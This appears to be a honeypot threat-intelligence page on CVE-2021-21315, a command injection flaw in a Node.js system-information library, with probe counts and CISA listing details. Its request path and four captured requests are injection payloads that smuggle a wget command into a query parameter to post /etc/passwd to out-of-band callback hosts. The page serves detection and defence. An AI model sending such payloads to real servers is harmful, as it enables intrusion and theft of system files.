CVE-2021-21315: Node.JS System Information Library <5.3.1 - Remote Command Injection

HoneyLabs honeypots recorded 6 probes matching CVE-2021-21315 from 1 distinct source IP address in the last 7 days. Severity is rated high.

This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2022-01-18.

Request paths that identify it

• /api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{*}})

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20db6ju85r4boqct66i8b0p318f5cbd1bcx.oast.me)
• /api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20db7a64tr4bopjr84s5hgougiad54i8mbj.oast.site)
• /api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20db55a55r4boh7qauocv0r1ekce4t9yqqd.oast.pro)
• /api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20db4er2lr4boq567j5g5ghoksihmipdrfz.oast.site)

HTTP client fingerprints

• b11cun060_0004001f_eefe5210